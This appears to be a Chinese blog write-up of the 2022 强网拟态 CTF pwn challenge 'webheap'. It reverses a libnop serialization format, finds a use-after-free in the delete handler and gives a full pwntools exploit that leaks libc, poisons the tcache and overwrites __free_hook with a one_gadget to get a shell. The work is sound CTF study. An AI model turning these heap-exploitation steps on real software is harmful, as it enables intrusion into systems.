• 2022强网拟态pwn-webheap


    2022强网拟态pwn-webheap

    这题的逻辑是一开始笔者硬逆给逆出来了,但是后面在Ex师傅的点播下成功的在github上找到了这个的原生项目
    https://github.com/google/libnop
    在这里插入图片描述
    在审计的过程中发现了至关重要的信息,发现和逆向的格式一样的东西,就是上面的encoding_byte
    首先在逆向中发现第一个必需要满足下面这个条件
    在这里插入图片描述
    在这里插入图片描述
    笔者在调试的时候成功发现了char类型的溢出,-127~128,而-71对应的是0xb9,所以笔者后面在GitHub的那个项目上成功找到了,序列化的实例
    在这里插入图片描述
    上面给出10, “foo”,下面的compose的第一个就是0xb9,第二个是有几个参数,第三个是第一个参数的值,第四个是string类型,第五个是对应的foo的长度,第6个是foo这个字符串
    所以笔者就配合前期逆向,顺着这上面的初步写了一个序列化实例
    p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content
    这个opt就是add,delete等的选择如下
    在这里插入图片描述
    0代表add,1代表show,序列化格式满足之后就会通过opt跳到这些处理函数中
    index代表的是上图中的index,p8(0x82)代表后面要接一个p32的数据(这些都可以在上面的encoding_byte中找到是什么意思)p8(0xbd)代表的是字符串,接着后面会接content的长度和content,遵循上面的反序列化格式即可
    在这里插入图片描述
    但是直接这样的话会报STREAM error这个错误,笔者思考了一下发现后面可能要接上一个0来确定停止
    在这里插入图片描述
    p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content + p8(0)
    最终如上构造就可以正常调用了
    漏洞点的话出在delete中,一个uaf
    在这里插入图片描述
    笔者直接用的本机20.04的2.31 libc
    简述一下笔者硬逆的过程
    在这里插入图片描述
    首先格式都在这个函数中,必须满足num0=-71,也就是0xb9,然后跟进442a函数里
    在这里插入图片描述
    接着又套着多个函数,如果格式不正确,会报一个0xe的错误也就是stream error了
    在这里插入图片描述
    在37e9中里可以逆出0x83这些东西
    在这里插入图片描述
    接着又可以在3c1f里逆出0x86这些东西
    在这里插入图片描述
    总的来说就是一层套一层很烦,然后再加上c++所以硬逆很费时间

    from pwn import *
    
    context(arch='amd64', os='linux', log_level='debug')
    
    file_name = './webheap'
    
    li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
    ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
    
    context.terminal = ['tmux','splitw','-h']
    
    debug = 0
    if debug:
        r = remote()
    else:
        r = process(file_name)
    
    elf = ELF(file_name)
    
    def dbg():
        gdb.attach(r)
    
    def Serial(opt, index, size, content):
        p1 = p8(0xb9) + p8(0x5) + p8(opt) + p8(index) + p8(0x82) + p32(size) + p8(0xbd) + p8(0x82) + p32(len(content)) + content + p8(0)
        r.sendlineafter('Packet length: ', str(len(p1)))
        r.sendafter('Content: ', p1)
    
    def add(index, size):
        Serial(0, index, size, b'')
    
    def show(index):
        Serial(1, index, 0, b'')
    
    def delete(index):
        Serial(2, index, 0, b'')
    
    def edit(index, content):
        Serial(3, index, 0, content)
    
    add(0, 0x430)
    
    add(1, 0x50)
    
    delete(0)
    
    show(0)
    
    malloc_hook = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96 - 0x10
    li('malloc_hook = ' + hex(malloc_hook))
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    
    libc_base = malloc_hook - libc.sym['__malloc_hook']
    free_hook = libc_base + libc.sym['__free_hook']
    li('free_hook = ' + hex(free_hook))
    
    one = [0xe3afe, 0xe3b01, 0xe3b04]
    one_gadget = one[1] + libc_base
    
    add(2, 0x68)
    add(3, 0x68)
    add(4, 0x68)
    
    delete(2)
    delete(3)
    
    edit(3, p64(free_hook))
    add(5, 0x68)
    add(6, 0x68)
    edit(6, p64(one_gadget))
    
    r.interactive()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71

    在这里插入图片描述
    笔者看到了wjh师傅的exp,wjh师傅的思路也可以学习一下,改了一下项目的cpp和py,然后生成了so文件,就可以直接调用了
    在这里插入图片描述

  • 相关阅读:
    `英语` 2022/8/6
    ai智能语音电销机器人怎么选?
    python的反射机制
    [运维|数据库] 数据库迁移到金仓数据库时,sys_user表报错原因
    位图BiMap
    算法通关村——字符串反转问题解析
    SpringBoot单元测试(unit testing)
    bugku ctf(web篇2)
    Mybatisplus条件构造器
    【✨十五天搞定电工基础】电阻电路的分析方法
  • 原文地址:https://blog.csdn.net/zzq487782568/article/details/127957660